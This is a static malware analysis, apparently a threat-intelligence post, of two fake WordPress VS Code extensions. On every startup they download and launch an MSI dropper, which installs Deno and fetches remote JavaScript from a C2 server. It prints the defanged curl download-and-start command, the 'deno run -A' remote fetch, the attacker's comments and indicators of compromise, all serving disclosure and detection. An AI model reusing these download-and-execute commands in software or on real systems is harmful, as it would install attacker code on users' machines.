Two VS Code extensions, published within days of each other, both marketed themselves as WordPress development tools. Similar names and near-identical descriptions alone wouldn't justify a closer look — copycat listings exist on the Marketplace without any malicious intent. What made these two different was behavioral: both independently triggered the same downloader routine on startup, reaching out to the same external file. That overlap surfaced during a routine AgentMesh review of new Marketplace submissions, and it was enough to investigate further.
This investigation is based solely on static analysis. The VSIX package and the MSI it downloads were both extracted and examined without execution. No code was run, no command-and-control infrastructure was contacted, and the final-stage encrypted payload was not decrypted.
| Extension | Publisher | Version | AgentMesh Report |
|---|---|---|---|
| JumboKey Core (Jumbo.JumboKey) | Jumbo | 1.0.2 | Extension 329979 |
| JumboKeyCore (JumboCore.Jumbos) | JumboCore | 1.0.0 | Extension 390048 |
JumboKey Core presents itself as a WordPress and WooCommerce theme editor: a file browser, a PHP template manager, and a WordPress Admin panel, all built into VS Code. The icon is clean, and the extension registers a command, a status bar entry, and a webview with authentication fields. WordPress development inside VS Code is a real use case, so the pitch is plausible — nothing about the presentation itself signals a problem.
Before reading any code, one field in package.json stood out: the repository entry points to a read-only mirror of an unrelated WordPress.org plugin called "Jumbo Share," a social-sharing plugin with no connection to this extension. On its own, a mismatched repository link could be an innocent copy-paste error — but it was enough reason to keep reading.
Figure 1. Relevant metadata from package.json showing automatic startup activation and a repository reference unrelated to the advertised functionality.
The WordPress UI itself — the file browser, the authentication form, the token generator — turned out to be static HTML inside a webview. No WordPress API is ever called. The interface exists, but it doesn't do anything.
VS Code calls activate() automatically on startup, with no user interaction required. The declared activation event is onStartupFinished, which fires for every extension that registers it, on every VS Code launch.
This is what activate() runs, every time:
curl -O hxxps://renes[.]sg/npm_jumbokey.msi&start npm_jumbokey.msi
One shell command, two chained actions: download npm_jumbokey.msi from renes[.]sg, then immediately attempt to launch it. On Windows, opening an .msi file through the shell invokes msiexec.
The diagram below reconstructs this flow:
Figure 2. Execution flow reconstructed from static analysis of the published VSIX package. Runtime behavior was not observed during this investigation. Domain and download URL are defanged in the figure.
This exact command appears twice in the code, at two separate call sites:
| Call site | Runs when | Guarded? |
|---|---|---|
| First-install call | Extension is first installed | Yes — install only |
| Unconditional call | Every activation | No — runs every startup |
The first call site only fires once. The second has no guard condition, so the download-and-launch attempt repeats on every subsequent VS Code startup, not just at install time.
Figure 3. Both exec() call sites in extension.ts. One executes during installation, while the second runs on every VS Code startup. Domain and download URL are defanged.
One more detail: if the download fails, the error surfaces in VS Code's Output panel with the prefix mstsc (startup) error:. mstsc.exe is the Windows Remote Desktop client and has no relationship to this operation — we don't know where that label came from.
The runtime bundle, out/extension.js, is roughly 1.1 MB. The TypeScript source is about 10 KB. javascript-obfuscator at maximum settings accounts for the gap — string encryption, control-flow flattening, dead-code injection — and makes the relevant command difficult to spot in the bundle alone.
What the author didn't remove from the package before publishing made verification possible:
src/extension.ts — the original TypeScript source, in plain text, with the exec() calls clearly visibleobfuscate.js — the build script, showing the exact obfuscation configuration usedout/extension.js.map — a source map linking the compiled bundle back to line numbers in the TypeScript source
Figure 4. Files included in the published VSIX package. The original TypeScript source, source map, and obfuscation script remained in the distributed archive, allowing the obfuscated runtime to be verified.
We decoded the source map and confirmed the exec() calls in the bundle correspond to lines 12 and 29 of extension.ts — the bundled runtime matches the original source.
The VSIX only gets as far as putting npm_jumbokey.msi on disk and launching it. We extracted the MSI itself — without running it — to see where the chain goes next.
7z pulled three files out of the installer, all written to %LOCALAPPDATA%\npm_jumbokey\:
| File | Size | Role |
|---|---|---|
delta_tool40.cmd |
268 B | Launcher, run automatically by the MSI's own custom action |
lima43.ps1 |
1.8 KB | Installs a JavaScript runtime, then fetches code from a remote server |
tango_agent28.dat |
6.0 MB | Encrypted blob with no recognizable file signature |
The MSI's CustomAction table runs delta_tool40.cmd automatically once installation finishes — no action needed beyond the install VS Code already triggered.
delta_tool40.cmd does one thing: it starts a second, detached PowerShell process to run lima43.ps1, then exits. This lets the installer report a normal, completed install while the real work continues in the background, disconnected from the installer's process tree.
lima43.ps1 checks whether the Deno JavaScript runtime is present and installs it — via winget, falling back to scoop — if it isn't. Once Deno is available, the script's last line runs:
deno run -A hxxp://172[.]94[.]9[.]157/v02910cbfa120d0e28d.js
-A grants that script unrestricted file, network, and process permissions. The URL is fetched directly by Deno; nothing is written to disk at this step by the attacker's own code.
Figure 5. Reconstructed chain from MSI installation through the final network fetch. Domain, IP, and download URL are defanged.
The script itself explains what happens next, in a comment left in the source:
# launcher-1 is compiled on demand by the server at /v02<BUILD_ID>.js.
# It's a tiny eval-loop that fetches launcher-2 (which sets up autorun
# and runs main). Deno fetches it directly — no disk file written by
# our code, only Deno's URL cache populates.
Neither launcher-1 nor launcher-2 was retrieved — doing so would mean contacting the C2 server, which was outside the scope of this static investigation. Based on that comment, a second-stage script fetched by launcher-1 is described as configuring persistence and running a "main" routine, and tango_agent28.dat is the most likely candidate for what "main" executes.
tango_agent28.dat measures exactly 6,291,456 bytes (6 MiB) and has 8.0 bits/byte of entropy — indistinguishable from random data, consistent with strong encryption (AES or ChaCha20, for example) rather than plain compression. No format signature, string, or header is recoverable from it. We were not able to determine what it decrypts to.
We checked the extracted indicators against public threat-intelligence sources and found no prior reporting tying these indicators to a documented campaign. The technique itself isn't new: StepSecurity documented the same onStartupFinished → exec() → external download pattern in the IoliteLabs Solidity extension incident in March 2026. The mechanism matches; the infrastructure is different. The MSI-stage indicators (the C2 IP and URL) were not run through this same open-source check; that pass covered the Stage 1 delivery domain only.
Both Jumbo.JumboKey and JumboCore.Jumbos attempt to download and launch an external MSI installer on VS Code startup — a behavior with no relation to the WordPress tooling either one advertises. Static analysis of that MSI shows it installs a CMD launcher and a PowerShell dropper that detach from the installer's process tree, install a Deno runtime if one isn't already present, and fetch JavaScript from a remote server over plain HTTP. That JavaScript was never retrieved, and a 6 MB blob staged alongside it remains encrypted.
Every step in that chain — the extension's activation event, the shell command, the MSI's custom action, the CMD launcher, the PowerShell dropper, and the final Deno invocation — is backed by static evidence: source code, extracted files, or MSI table entries. What the chain ends in is not: the last two stages were never executed, retrieved, or decrypted, so we can describe how the payload gets staged but not what it ultimately does.
Shared indicators — identical across both extensions. Domain and URL are defanged:
| Type | Value |
|---|---|
| Domain | renes[.]sg |
| Download URL | hxxps://renes[.]sg/npm_jumbokey.msi |
| Payload filename | npm_jumbokey.msi |
Extension-specific indicators — per AgentMesh (authoritative for identity and VSIX hash):
| Field | Jumbo.JumboKey | JumboCore.Jumbos |
|---|---|---|
| Display name | JumboKey Core | JumboKeyCore |
| Publisher | Jumbo | JumboCore |
| Version | 1.0.2 | 1.0.0 |
| VSIX SHA-256 (Marketplace-derived) | 9ea98af53a6163497ad92860e60e4c767a72d4199e42ae414876bff469c208bb |
63688d7765e52cf9800ea0dfc296bc86a448d241108c17c564709a6a844816fc |
| AgentMesh report | Extension 329979 | Extension 390048 |
MSI payload — from static analysis of npm_jumbokey.msi (retrieved from the download URL above, not executed):
| Type | Value |
|---|---|
| Filename | npm_jumbokey.msi |
| SHA-256 | 88db3a2ab831539b6b485de27d63b1bc9e840169624f07ddc8bf54a7b0a49642 |
| MD5 | 17481d78858a80140cc61055744c0153 |
Files installed by the MSI — written to %LOCALAPPDATA%\npm_jumbokey\:
| Filename | SHA-256 | Size | Role |
|---|---|---|---|
delta_tool40.cmd |
fbdaf71ae238858e5b99111294876037e1035c0266c1294de4e692c9dff0a57a |
268 B | CMD launcher |
lima43.ps1 |
a91440333e5a749e95eb3f9d58674c4af70a08ebf764e78e13cd59398b262ff5 |
1,783 B | PowerShell dropper |
tango_agent28.dat |
fad01fab8aad7d5ec92703092ae411b42fad83e89cf9a1758c5a8b9181a3a30f |
6,291,456 B | Encrypted payload (undecrypted) |
Network / C2 — not contacted; listed here for detection purposes only:
| Type | Value |
|---|---|
| C2 IP | 172[.]94[.]9[.]157 |
| C2 URL | hxxp://172[.]94[.]9[.]157/v02910cbfa120d0e28d.js |
| Registry key | Software\bravo30\npm_jumbokey (value Installed = 1; hive unconfirmed, likely HKCU) |
MSI installer identifiers:
| Type | Value |
|---|---|
| ProductCode | {495E2D0B-5975-4486-A998-4EAC46185B0F} |
| UpgradeCode | {B0595C1F-CD09-484B-9CFF-2E895E702C62} |
| Manufacturer / Author field | bravo30 |
| Subject field | romeo_controller10 |
| Build tool | msitools 0.106.31-bf14 (Linux-built) |